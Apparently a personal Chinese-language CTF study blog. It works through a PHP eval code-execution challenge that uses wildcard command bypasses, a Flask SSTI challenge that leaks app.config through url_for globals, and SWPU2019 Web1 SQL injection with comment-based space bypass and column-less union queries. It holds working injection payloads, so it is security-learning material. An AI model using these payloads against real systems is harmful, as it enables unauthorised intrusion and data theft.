今天早上起来看到一位师傅发的一道题!有关 命令 | 代码执行!

php
<?php
error_reporting(0);
//flag is located in flag.php
if( isset($_GET['a']) ){
$a = $_GET['a'];
if( strlen($a)>27 ){
die(strval(strlen($a)) . " Long.");
}
if( preg_match("/[A-Zb-z0-9_$.&;|^~![\](){}\$@\*]+/", $a) ){
// die("NO.");
print_r('check');
}
eval("echo '" . $a ."';");
} else {
show_source(__FILE__);
}



?>
?a='?><?=`/???/?a? ??a?????`?>

这到题就是代码执行!但是无字母 webshell,是不行的!有正则!

Code
又看了看eval
eval — 把字符串作为PHP代码执行
里面可以有多条php与语句

如:
<?php
eval("?>"."<?=`echo 1111111`;");
;和?>都表示结束!具体的区别还不是很清楚!

;只是表示php语句的结束!
?>是php代码的结束!

所有eval里直接各写各的php代码! 保证都能执行!

image-20210104100644996

如果是分号!就有问题!

image-20210104101314888

Code
这个题就是:
/bin/cat flag.php
/???/?a? ??a?????
通配符*和?的使用

Bypass 一些命令注入限制的姿势

讲到 shell!

再看看 shell! 之前都不是很理解!!

Code
Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。

Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。

Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。

shell 里的正则表达式

Code
^
匹配输入字符串的开始位置。

$
匹配输入字符串的结束位置。

*
匹配前面的子表达式零次或多次

+
匹配前面的子表达式一次或多次。

?
匹配前面的子表达式零次或一次。

{n}
n 是一个非负整数。匹配确定的 n 次。

{n,}
n 是一个非负整数。至少匹配n 次。

{n,m}
m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。

?
当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。

.
匹配除换行符(\n、\r)之外的任何单个字符。

[xyz]
字符集合。匹配所包含的任意一个字符。

还有一些内置的通用字符簇

Code
[[:alpha:]] 任何字母
[[:digit:]] 任何数字
[[:alnum:]] 任何字母和数字
[[:space:]] 任何空白字符
[[:upper:]] 任何大写字母
[[:lower:]] 任何小写字母
[[:punct:]] 任何标点符号
[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]

巧用命令注入的 N 种方式

命令注入绕过姿势

Code
ca''t flag 

上面的文章里有师傅们写的命令执行 bypass 技巧!

[WesternCTF2018]shrine

python
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

Code
好像是模板注入!但是有过滤!!
这个题看了大佬的wp后!
知道了flag在config

注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

flag存放于config中,需要绕过黑名单(黑名单中的内容被替换为空)和括号。
python的内置函数url_for和get_flashed_messages。

payload1

Code
http://538f72bb-24ad-477f-82ee-4e61f4e136ae.node3.buuoj.cn/shrine/{{url_for.__globals__['current_app'].config}}

payload2

Code
{{get_flashed_messages.__globals__}}
http://538f72bb-24ad-477f-82ee-4e61f4e136ae.node3.buuoj.cn/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

总结:

Code
这道题一上来看到flask,safe_jinja。还有过滤就知道是ssti!但是自己的py学的不咋地!flask也不是很会!自己想找注入点!找了好久!不能仅仅局限与变量注入!@app.route('/shrine/<path:shrine>')这个路径也能产生注入!  不会flask,啥时候学学呢!
然后就是,根据代码判断flag位置!再通过py函数

Flask 入门系列教程(一)

原理这里是动态 URL

其中的是根据不同人来变化的,这种就属于动态 URL 地址,Flask 可以很好的支持这种形式。

javascript
@app.route('/user/<name>')
def welcome(name):
return '<h1>Hello, %s!</h1>' % name

image-20210104191626368

[SWPU2019]Web1

image-20210104204714871

mysql 里 数字

image-20210104211741641

image-20210104212105661

Code
MySQL5.7的新特性:

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。
Code
由于我的mysql版本低了!好像没有上面两个

不知道列名的情况下注入

不知道列名的情况下注入

image-20210105125659304

看题!

image-20210105131726246

Code
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' limit 0,1' at line 1

刚刚

BuuCTF 刷题之旅之 [SWPU2019] Web1

[SWPU2019] Web1

[SWPU2019]Web1

不知道列名的情况下注入

聊一聊 bypass information_schema

一开始不知道 join 咋用的!

自己测试了测试!:

MySQL 连接的使用

  • INNER JOIN(内连接,或等值连接):获取两个表中字段匹配关系的记录。

理解:就是把两个表数据弄到一起!但是我不是很了解!(到底按照什么方法和到一起的!)

image-20210105213834070

0x01 MariaDB 特性

Maria 数据库的这个表可以查表名:mysql.innodb_table_stats
https://mariadb.com/kb/en/mysqlinnodb_table_stats/

About MariaDB

成立于 2009 年,MySQL 之父 Michael “Monty” Widenius 用他的新项目 MariaDB 完成了对 MySQL 的 “反戈一击”。开发这个分支的原因之一是:甲骨文公司收购了 MySQL 后,有将 MySQL 闭源的潜在风险,因此社区采用分支的方式来避开这个风险。 过去一年中,大型互联网用户以及 Linux 发行商纷纷抛弃 MySQL,转投 MariaDB 阵营。MariaDB 是目前最受关注的 MySQL 数据库衍生版,也被视为开源数据库 MySQL 的替代品。

题目:

这里 fuzz 还不行!自己手动测试!

Code
大佬文章有:https://www.wh1teze.top/articles/2020/01/31/1580457631958.html


经过测试,发现对or、#、空格等进行了过滤。因为是字符型注入,所以我们构造 payload 是需要对后面的'进行闭合。对于空格我们可以用/**/bypass。

因为存在报错信息,我们尝试进行报错注入。

但是经过测试发现对于常见的报错函数extactvalue()、updatexml()等被过滤。又因为数据库为MariaDB,查看官方文档:

27.Geographic Functions • Starting with MySQL 8.0 there are many new or enhanced geographic functions which can make use of spatial data types. In addition, MySQL 8.0 added support for spatial indexes which previously existed in MariaDB • Examples of functions available in MySQL 8.0 which are not present in MariaDB 10.3: • ST_DISTANCE_SPHERE • ST_GeoHash • ST_IsValid • ST_LatFromGeoHash • ST_LongFromGeoHash • ST_PointFromGeoHash • ST_SIMPLIFY • ST_VALIDATE 27

MySQL中可以进行报错注入的空间函数在MariaDB中不存在,所以报错注入不可行。

尝试联合查询注入。

payload1:

Code
-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20210105214349206

发现数据库版本较高。因为 or 被正则过滤,所以 information_schema 库无法利用。

  • 使用 innodb 存储引擎
    Mysql>5.6 版本中,innodb 增添了两个新表:innodb_index_statsinnodb_table_stats
    两个表都会存储数据库和对应的数据表,唯一与 information_schema 不同的是它没有列名。

  • sys 数据库
    Mysql>5.7 时,新增了 sys数据库,基础数据来自于 performance_chemainformation_schema 两个库,但是本身数据库不存储数据。
    而且值得一提的是 MySQL 好像是默认关闭 innodb 数据库的,所以这也是一种新思路。
    sys 有一些有用的表:

    表名 作用
    schema_auto_increment_columns 只会显示有自增的表
    schema_table_statistics_with_buffer 全部显示
    x$schema_table_statistics_with_buffer 全部显示

    但是需要用户是 root 权限才能查看 sys 数据库,所以要先看一下 user () 是不是 root。

Code
大概意思就是:
sys 数据库必须root才能用!
但是`mariaDB`里有没有sys数据库!

因为用户权限是 root,所以可以使用 sys 数据库。但是 mariaDB 数据库中没有 sys 数据库。

所以使用 mysql 数据库中的 innodb_table_stats 表。

构造 payload2:

Code
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

看了上面的 payload:

发现之前理解有点问题!

mysql 语句和 mariaDB 在某些地方还是有差异的!database_name table_schema

构造 payload3:

再利用无字段注入!

image-20210105215732193

Code
有没有as都可以!
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20210105215903459

Code
1'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/c,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22


1'/**/union/**/select/**/1,(select/**/group_concat("1",c,"1",a,"1",b)/**/from/**/(select/**/1/**/c,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

OSINT

Code
什么是OSINT?
开源智能(OSINT)是指来自公共来源的数据集合,用于情报环境,这类信息往往被链接爬行搜索引擎(如谷歌)所忽略。此外,按照国防部的规定,OSINT是“从公开获得的信息中产生的,并且可以及时收集,利用和传播给适当的受众,以满足特定的情报需求。”

五大开源 OSINT 工具介绍